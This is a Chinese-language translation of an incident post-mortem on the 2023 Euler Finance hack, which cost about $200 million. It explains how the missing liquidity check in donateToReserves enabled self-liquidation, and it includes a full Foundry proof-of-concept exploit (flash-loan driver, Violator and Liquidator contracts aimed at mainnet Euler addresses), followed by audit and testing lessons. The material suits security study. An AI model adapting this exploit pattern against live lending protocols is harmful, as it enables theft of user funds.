Euler Finance遭遇了约2亿美元的黑客攻击,原因是其EToken智能合约中的缺陷导致的流动性检查缺失。文章详细分析了攻击的步骤、所用合约和过程,并提供了攻击的概念验证。解读了如何在该协议中出现此类漏洞及其可能的解决方案。
Euler Finance因缺少流动性状态检查而被黑客攻击,损失约2亿美元。我们逐步探讨这一攻击是如何发生的,包括概念证明。
Euler Finance 于 2023年3月13日被黑客攻击,损失约2亿美元,原因是其EToken智能合约存在漏洞。
这一攻击得以实施是因为在向协议捐赠资金时缺少对用户流动性状态的检查,以及能够将贷款作为自我抵押的能力和Euler的动态清算惩罚机制。这意味着该账户能够进入破产状态,攻击者因此能够清算自己并窃取合约余额。
-- 通过遵循我们的 步骤指南 ,学习如何自己识别这些漏洞。
本文将探讨这一攻击的运作方式,以及使用概念证明和观察状态变化所采取的步骤。它将全面解释这一攻击是如何发生的,它是如何被引入的,以及它本可以如何避免。
Euler Finance是一个无需托管、无需许可的贷款协议,建设在以太坊区块链上。它允许用户利用其加密货币资产获得利息或对抗市场波动。
要理解黑客是如何盗取约2亿美元的,首先需要了解Euler的工作原理:
存入代币并获得表示抵押品的ETokens
分层杠杆 - 只要健康分数足够高,就可以多次铸造
分层杠杆 - 只要健康分数足够高,就可以多次铸造
所有贷款技术上都是超额抵押的,以确保借款人可以偿还贷款及其利息。
健康分数用于确定借款人距清算的接近程度。 这是通过将用户可以借款的最大金额(最大贷款价值比(LTV))与他们已借款的金额(当前LTV)进行比较来计算的:healthScore = MaxLTV / currentLTV
Euler最大LTV值:
(a) 对于常规贷款(抵押代币和贷款代币不同):75%
(b) 对于自我抵押贷款(抵押和贷款代币相同):95%
此次黑客攻击使用相同的方法清空了六种不同的代币:DAI、stETH、WBTC和USDC。
让我们逐步分析这一过程是如何完成的。
作为背景,以下是攻击者在攻击前的余额:
攻击者攻击前余额:0 DAI
1. 使用闪电贷借入3000万DAI。 闪电贷是通过智能合约执行的,允许用户在不需要抵押的情况下借款。这些贷款必须在同一交易中全部偿还。如果没有偿还,则整个交易,包括贷款都将回滚。
2. 攻击者部署了两个合约:
(a) 违规者合约:使用闪电贷执行攻击。
(b) 清算者合约:清算违规者的账户。
-- 现在,使用违规者合约:
3. 使用EToken::deposit
函数存入2000万DAI到Euler。 攻击者获得了约1950万ETokens作为抵押品。
存入后(违规者): 抵押品 (eDAI): 19568124.414447288391400399 债务 (dDAI): 0.000000000000000000000000000
4. 使用EToken::mint
函数借入195.6百万ETokens和2亿DTokens。 该函数允许用户借入最多是存入金额10倍的金额。这意味着借入与抵押的比例的LTV为93%(请记住,对于自我抵押贷款,最大值为95%),健康分数为1.02
- 完全抵押的贷款。
铸造后(违规者): 抵押品 (eDAI): 215249368.558920172305404396 债务 (dDAI): 200000000.000000000000000000000000000 健康分数: 1.040263157894736842
5. 使用DToken::repay
函数偿还1000万DAI。 这意味着大约1000万ETokens被销毁(使EToken余额保持不变)。这减少了债务,相较于抵押品,提高了健康分数。
偿还后(违规者): 抵押品 (eDAI): 215249368.558920172305404396 债务 (dDAI): 190000000.000000000000000000000000000 健康分数: 1.089473684210526315
6. 再次借入195.6百万eDAI和200百万ETokens, 使用EToken::mint
函数。这通过降低健康分数使攻击者的位置更加危险。借入更多量也使攻击者能够最大化他们的利润。
铸造后(违规者): 抵押品 (eDAI): 410930612.703393056219408393 债务 (dDAI): 390000000.000000000000000000000000000 健康分数: 1.020647773279352226
7. 通过EToken::donateToReserves
函数向Euler捐赠了1亿EToken。
漏洞:捐赠到_捐赠到储备_函数中缺少流动性检查。 donateToReserve()
函数允许用户将资金存入储备。重要的是,该函数没有检查用户的健康分数是否在捐赠后仍然大于1:

/// @notice 向储备捐赠eTokens
/// @param subAccountId 0为主账户,1-255为子账户
/// @param amount 用于内部记账单位(如从balanceOf返回)。
function donateToReserves(uint subAccountId, uint amount) external nonReentrant {
(address underlying, AssetStorage storage assetStorage, address proxyAddr, address msgSender) = CALLER();
address account = getSubAccount(msgSender, subAccountId);
updateAverageLiquidity(account);
emit RequestDonate(account, amount);
AssetCache memory assetCache = loadAssetCache(underlying, assetStorage);
uint origBalance = assetStorage.users[account].balance;
uint newBalance;
if (amount == type(uint).max) {
amount = origBalance;
newBalance = 0;
} else {
require(origBalance >= amount, "e/insufficient-balance");
unchecked { newBalance = origBalance - amount; }
}
assetStorage.users[account].balance = encodeAmount(newBalance);
assetStorage.reserveBalance = assetCache.reserveBalance = encodeSmallAmount(assetCache.reserveBalance + amount);
emit Withdraw(assetCache.underlying, account, amount);
emitViaProxy_Transfer(proxyAddr, account, address(0), amount);
logAssetStatus(assetCache);
}
违规者能够通过向储备捐赠ETokens来强迫其自我抵押杠杆头寸变得不足抵押。换句话说,他们捐赠了用于保证贷款的抵押品到储备中。其DTokens(债务)余额保持不变,因此降低了健康分数并造成了坏账。如果违规者没有第二次铸造,他们将不得不捐赠更多的代币,才足以降低他们的健康分数以触发最高20%罚金的清算(相应的健康分数< 0.8)。黑客的清算者合约随后成功可以清算违规者合约并从协议中撤走,赚取最高20%的罚金。
捐赠后(违规者): 抵押品 (eDAI): 310930612.703393056219408393 债务 (dDAI): 390000000.000000000000000000000000000 健康分数: 0.750978643164551262
-- 现在使用清算者合约:
8. 使用Liquidation::checkLiquidation
函数检查清算以获取yield
和repay
值(对应于转移给清算者的抵押品和债务)。
computeLiqOpp()
函数从checkLiquidation()
中调用,确保发送给清算者的EToken金额不会超过借款人可用的抵押品。如果抵押品未能满足预期的还款收益,则默认使用剩余的抵押品。这意味着清算人只会承担相等于他们以折扣获取的抵押品的债务。
然而,这一检查是基于违规者的抵押品永远不会低于债务的假设。

// 将收益限制为借款人可用抵押,并在必要时减少偿还
// 当借款人有多个抵押时,这种情况可能会发生,只没收这一个抵押并不会让违规者复苏
liqOpp.yield = liqOpp.repay * liqOpp.conversionRate / 1e18;
{
uint collateralBalance = balanceToUnderlyingAmount(collateralAssetCache, collateralAssetStorage.users[liqLocs.violator].balance);
// 如果抵押品 < 债务,则抵押品<收益
if (collateralBalance < liqOpp.yield) {
liqOpp.repay = collateralBalance * 1e18 / liqOpp.conversionRate;
liqOpp.yield = collateralBalance;
}
}
9. 使用Liquidation::liquidate
函数清算违规者。
- 违规者的健康分数降到1以下, 并触发了软清算机制。
- 收益无法超过可用抵押品, 在computeLiqOpp()
中需要维持与罚金费用等于20%的折扣,由此加以执行。由于违规者的EToken余额超过了其DTokens余额,因此所有ETokens的余额都被转移给清算者,而一部分DTokens仍留在违规者的账户中。这确保了折扣得到应用,并保持了清算者的健康分数;然而,这产生了坏账,将永远不会被偿还。
- 这意味着清算者的利润完全弥补了其债务, 因为清算后获得的抵押品价值大于债务价值。因此,清算者可以成功提取获得的资金而无需任何额外抵押品。
- 清算者合约从违规者那里获得了2.59亿DTokens和3.11亿ETokens。
`清算后(清算者):
抵押品 (eDAI): 310930612.703393056219408392
债务 (dDAI): 259319058.477209877830400000000000000
清算后(违规者):
抵押品 (eDAI): 0.000000000000000001
债务 (dDAI): 135765628.943911884480000000000000000
Euler余额: 38904507 DAI
`
清算后清算者与违规者的余额
10. 使用EToken::withdraw
提取清算的资金。
由于系统中借款总额的人为增加,EToken与基础代币之间的汇率发生了偏斜,这意味着攻击者可以凭借其ETokens提取更多的DAI。由于攻击者已经拥有更多的ETokens而不是DTokens,清算者能够通过燃烧约3800万个ETokens提取合同余额约3890万个DAI。
提取后(清算者): 抵押品 (eDAI): 272866200.699670845275982401 // 整个库被清空 - 池中没有足够的资金完全提取 债务 (dDAI): 259319058.477209877830400000000000000 Euler余额: 0 DAI
11. 使用利润偿还闪电贷(贷款3000万DAI加27000DAI利息),留下约888.8万美元的利润。
攻击者攻击后余额:8877507 DAI
12. 在其他流动性池上重复攻击, 获得净利润1.97亿美元。
此次攻击能够发生有两个关键原因:
2. 清算者的利润超过了他们的债务: 当软清算逻辑被触发时,违规者的健康分数降至1以下,原因在于捐赠后ETokens余额超过了DTokens余额。由于computeLiqOpp()
函数确保清算者的健康分数在1以上,同时维护ETokens的20%折扣,因此坏债务被锁定在了违规者合约中。这使得清算者的利润完全弥补其债务,因为清算后获得的抵押品价值大于债务价值。因此,清算者可以成功提取获得的资金而无需任何额外抵押品。
这一系列因素的组合使得攻击能够清空合约的资金。
下面的代码,使用了Foundry,是此次攻击的概念证明并重现了上述步骤:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import { Test } from "forge-std/src/Test.sol";
import { console } from "forge-std/src/console.sol";
import { Violator } from "./Violator.sol";
import { Liquidator } from "./Liquidator.sol";
import { IERC20 } from "forge-std/src/interfaces/IERC20.sol";
import { IEToken } from "./interface/IEToken.sol";
import { IDToken } from "./interface/IDToken.sol";
import { IAaveFlashLoan } from "./interface/IAaveFlashLoan.sol";
import { ILiquidation } from "./interface/ILiquidation.sol";
import { MarketsView } from "./MarketsView.sol";
import { IMarkets } from "./interface/IMarkets.sol";
import { IRiskManager } from "euler-contracts/contracts/IRiskManager.sol";
contract EulerFinancePoC is Test {
IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IEToken constant eToken = IEToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
// address eTokenImpl = address(0xeC29b4C2CaCaE5dF1A491f084E5Ec7C62A7EdAb5);
IMarkets constant MARKETS = IMarkets(0x3520d5a913427E6F0D6A83E07ccD4A4da316e4d3);
IMarkets constant MARKETS_IMPL = IMarkets(0x1E21CAc3eB590a5f5482e1CCe07174DcDb7f7FCe);
IDToken constant dToken = IDToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
address constant EULER = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
ILiquidation constant LIQUIDATION = ILiquidation(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
IAaveFlashLoan constant aaveV2 = IAaveFlashLoan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
IRiskManager immutable RISK_MANAGER;
Violator violator;
Liquidator liquidator;
address person = makeAddr("person"); // 随机地址,用于检查清算状态
function setUp() public {
vm.createSelectFork("eth", 16817995);
vm.etch(address(MARKETS_IMPL), address(deployCode('MarketsView.sol')).code);
vm.label(address(DAI), "DAI");
vm.label(address(eToken), "eToken");
vm.label(address(dToken), "dToken");
vm.label(address(aaveV2), "Aave");
}
function testExploit() public {
console.log("攻击者攻击前余额:", DAI.balanceOf(address(this))/1e18, IERC20(DAI).symbol());
console.log(" ");
// 1. 闪电贷$3000万DAI
uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;
// 设置闪电贷参数
// 闪电贷资产数组
address[] memory assets = new address[](1);
assets[0] = address(DAI);
// 闪电贷的金额数组
uint256[] memory amounts = new uint256[](1);
amounts[0] = aaveFlashLoanAmount;
// 模式:如果闪电贷未被归还则打开的债务类型。
// 0:无债务。 (金额加费用必须支付,否则回滚)
// 1:稳定模式债务
// 2:可变模式债务
uint256[] memory modes = new uint[](1);
modes[0] = 0;
// params (未使用) 任意字节编码的参数,将传递给接收合约的executeOperation()方法。
bytes memory params =
abi.encode();
// Aave闪电贷文档:https://docs.aave.com/developers/guides/flash-loans
aaveV2.flashLoan({receiverAddress: address(this), assets: assets, amounts: amounts, modes: modes, onBehalfOf: address(this), params: params, referralCode: 0});
// 10. 攻击者余额> 借入的3000万DAI + 27K DAI利息 => 贷款自动成功偿还(否则闪电贷将回滚)
// 8.87百万DAI利润!
console.log("攻击者攻击后余额:", DAI.balanceOf(address(this)) / 1e18, IERC20(DAI).symbol());
console.log(" ");
}
// executeOperations是由闪电贷调用的回调函数。符合以下接口:https://github.com/aave/aave-v3-core/blob/master/contracts/flashloan/interfaces/IFlashLoanReceiver.sol
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initator,
bytes calldata params
) external returns (bool) {
// 授权Aave消耗DAI
DAI.approve(address(aaveV2), type(uint256).max);
// 2. 部署两个合约
violator = new Violator(DAI, IEToken(address(eToken)), dToken, EULER, LIQUIDATION, MARKETS, person);
liquidator = new Liquidator(DAI, IEToken(address(eToken)), dToken, EULER, LIQUIDATION, MARKETS);
// 将闪电贷转给违规者
DAI.transfer(address(violator), DAI.balanceOf(address(this)));
violator.violate();
liquidator.liquidate(address(violator));
return true;
}
}
违规者合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import { IERC20 } from "forge-std/src/interfaces/IERC20.sol";
import { IEToken } from "./interface/IEToken.sol";
import { IDToken } from "./interface/IDToken.sol";
import { ILiquidation } from "./interface/ILiquidation.sol";
import { IMarkets } from "./interface/IMarkets.sol";
import { IRiskManager } from "euler-contracts/contracts/IRiskManager.sol";
import "forge-std/src/Test.sol";
contract Violator {
IERC20 immutable DAI;
IEToken immutable eToken;
IDToken immutable dToken;
address immutable EULER;
IMarkets immutable MARKETS;
ILiquidation immutable LIQUIDATION;
address person;
IRiskManager immutable RISK_MANAGER;
event log_named_decimal_uint (string key, uint val, uint decimals);
constructor(IERC20 _dai, IEToken _eToken, IDToken _dToken, address _euler, ILiquidation _liquidation, IMarkets _markets, address _person) {
DAI = _dai;
eToken = _eToken;
dToken = _dToken;
EULER = _euler;
MARKETS = _markets;
LIQUIDATION = _liquidation;
person = _person;
}
function violate() external {
// 用于存入的safeTransferFrom
DAI.approve(EULER, type(uint256).max);
// 3. 存入3000万DAI
eToken.deposit(0, 20_000_000 * 1e18);
MARKETS.getUserAsset("存入后(违规者): ", address(eToken), IERC20(DAI).symbol(), address(this));
console.log(" ");
// 4. 借入(铸造)存入的10倍
eToken.mint(0, 200_000_000 * 1e18);
MARKETS.getUserAsset("铸造后(违规者): ", address(eToken), IERC20(DAI).symbol(), address(this));
emit log_named_decimal_uint("健康分数", LIQUIDATION.checkLiquidation(person, address(this), address(DAI), address(DAI)).healthScore, 18);
console.log(" ");
// 5. 偿还1000万DAI
dToken.repay(0, 10_000_000 * 1e18);
MARKETS.getUserAsset("偿还后(违规者): ", address(eToken), IERC20(DAI).symbol(), address(this));
emit log_named_decimal_uint("健康分数", LIQUIDATION.checkLiquidation(person, address(this), address(DAI), address(DAI)).healthScore, 18);
console.log(" ");
// 6. 再次铸造存入的10倍
eToken.mint(0, 200_000_000 * 1e18);
MARKETS.getUserAsset("铸造后(违规者): ", address(eToken), IERC20(DAI).symbol(), address(this));
emit log_named_decimal_uint("健康分数", LIQUIDATION.checkLiquidation(person, address(this), address(DAI), address(DAI)).healthScore, 18);
console.log(" ");
// 7. 捐赠1亿DAI
eToken.donateToReserves(0, 100_000_000 * 1e18);
MARKETS.getUserAsset("捐赠后(违规者): ", address(eToken), IERC20(DAI).symbol(), address(this));
emit log_named_decimal_uint("健康分数", LIQUIDATION.checkLiquidation(person, address(this), address(DAI), address(DAI)).healthScore, 18);
console.log(" ");
}
}
清算者合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import { IERC20 } from "forge-std/src/interfaces/IERC20.sol";
import { IEToken } from "./interface/IEToken.sol";
import { IDToken } from "./interface/IDToken.sol";
import { ILiquidation } from "./interface/ILiquidation.sol";
import { IMarkets } from "./interface/IMarkets.sol";
import "forge-std/src/Test.sol";
contract Liquidator {
IERC20 immutable DAI;
IEToken immutable eToken;
IDToken immutable dToken;
address immutable EULER;
ILiquidation immutable LIQUIDATION;
IMarkets immutable MARKETS;
event log_named_decimal_uint (string key, uint val, uint decimals);
constructor(IERC20 _dai, IEToken _eToken, IDToken _dToken, address _euler, ILiquidation _liquidation, IMarkets _markets) {
DAI = _dai;
eToken = _eToken;
dToken = _dToken;
EULER = _euler;
LIQUIDATION = _liquidation;
MARKETS = _markets;
}
function liquidate(address violator) external {
//9. 清算违规者的账户
ILiquidation.LiquidationOpportunity memory returnData =
LIQUIDATION.checkLiquidation(address(this), violator, address(DAI), address(DAI));
LIQUIDATION.liquidate(violator, address(DAI), address(DAI), returnData.repay, returnData.yield);
MARKETS.getUserAsset("清算后(清算者): ", address(eToken), IERC20(DAI).symbol(), address(this));
console.log(" ");
MARKETS.getUserAsset("清算后(违规者): ", address(eToken), IERC20(DAI).symbol(), address(violator));
console.log(" ");
console.log("Euler余额: ", DAI.balanceOf(EULER) / 1e18, IERC20(DAI).symbol());
console.log(" ");
// 10. 提取合约余额
eToken.withdraw(0, DAI.balanceOf(EULER));
MARKETS.getUserAsset("提取后(清算者): ", address(eToken), IERC20(DAI).symbol(), address(this));
console.log(" ");
console.log("Euler余额: ", DAI.balanceOf(EULER) / 1e18, IERC20(DAI).symbol());
console.log(" ");
// 将资金发送回进行闪电贷的地址以偿还
DAI.transfer(msg.sender, DAI.balanceOf(address(this)));
}
}
以下的MarketsView
合约扩展了EulerMarkets
合约以暴露私有状态变量。

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;
import {Markets} from "euler-contracts/contracts/modules/Markets.sol";
import {IRiskManager} from "euler-contracts/contracts/IRiskManager.sol";
import {IDToken} from "./interface/IDToken.sol";
import {IEToken} from "./interface/IEToken.sol";
import "forge-std/src/Test.sol";
contract MarketsView is Markets(keccak256("moduleGitCommit_")) {
event log_named_decimal_uint (string key, uint val, uint decimals);
function getInterestRate(string memory message, address eToken) public view returns (int96) {
console.log(message);
console.logInt(eTokenLookup[eToken].interestRate);
return eTokenLookup[eToken].interestRate;
}
function getUserAsset(string calldata message, address eToken, string memory symbol, address user)
public
returns (UserAsset memory)
{
console.log(message);
string memory collateralString = string.concat("抵押品", " (", "e", symbol, ")");
string memory debtString = string.concat("债务", " (", "d",symbol, ")");
emit log_named_decimal_uint(collateralString, eTokenLookup[eToken].users[getSubAccount(user, 0)].balance, 18);
emit log_named_decimal_uint(debtString, eTokenLookup[eToken].users[getSubAccount(user, 0)].owed, 27);
return eTokenLookup[eToken].users[getSubAccount(user, 0)];
}
}
-- 完整的概念证明包括所有使用的接口可以在 GitHub 上查看。
donateToReserves()
函数是作为上一个漏洞的补救措施而添加到协议中的。
用户因其基础代币获取的ETokens数量是通过以下公式计算的:
exchangeRate = underlyingBalance / ETokenSupply
攻击者能够通过铸造1 wei的ETokens,然后向协议发送x
代币来人为地抬高汇率(ETokenSupply
较小且underlyingBalance
又大,从而导致exchangeRate
数值增大)。
这意味着第一个贷方因向下舍入而获得0个ETokens,导致攻击者能够撤回所有代币(包括贷方的代币),因为他们拥有全部的供应量。
为了缓解这种情况,Euler在ETokens上添加了初始的总供应量和100万wei的储备,使得第一个贷方为储备贡献了一小部分代币,从而使其经济上不可取的攻击。
这一补救措施对未来的ETokens是有效的,但对于基础代币储备小于100万wei的现有代币,则添加了donateToReserves()
函数,以便治理能够增加最低储备。这修复了存款漏洞,但使攻击者能够窃取近2亿美元。
-- 有关此漏洞如何工作的详细解释,请参阅 Euler “汇率操控” 博客 。
1. 不变性测试: 如果在捐赠后检测健康分数,这一攻击本可以避免 - 核心不变性条件是健康分数在基础值变化时不应低于1。添加到现有代码库的新逻辑和函数,如donateToReserves()
函数,应在整个协议的上下文中进行全面测试。
-- 详细了解模糊不变性测试如何帮助识别这些漏洞,可以 阅读这篇文章 。
2. 全面审计: 多个公司之前已对Euler Finance进行审计;但是,donateToReserves()
函数仅审计过一次。代码更改后,协议又进行了审计;但该函数被排除了范围。确保协议的修改不会在整个协议的上下文中生成漏洞的全面审计至关重要。donateToReserves()
函数在借款者的上下文中使用时从未被考虑,而只在需要增加EToken储备的用例中使用。
在donateToReserves()
函数中缺少健康检查的情况,只有在与软(动态)清算的实现结合时才会成为问题。
捐赠自我抵押的分层杠杆,将健康分数降低至1以下,再加上软清算机制,使攻击者得以以最大20%的折扣自我清算。这导致攻击者获利颇丰,因为清算后债务的价值低于抵押品。
通过采用不变性测试和审计过程(考虑代码更改在更广泛协议中的上下文及多个不同的入口点),本次攻击本可以得到缓解。
对你的协议进行审计可以显著降低发生此类攻击的概率。- 要学习智能合约的安全性和开发,请访问 Cyfrin Updraft 。
本文中的概念验证来自 DefiHackLabs 仓库 。
- 原文链接: cyfrin.io/blog/how-did-t...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!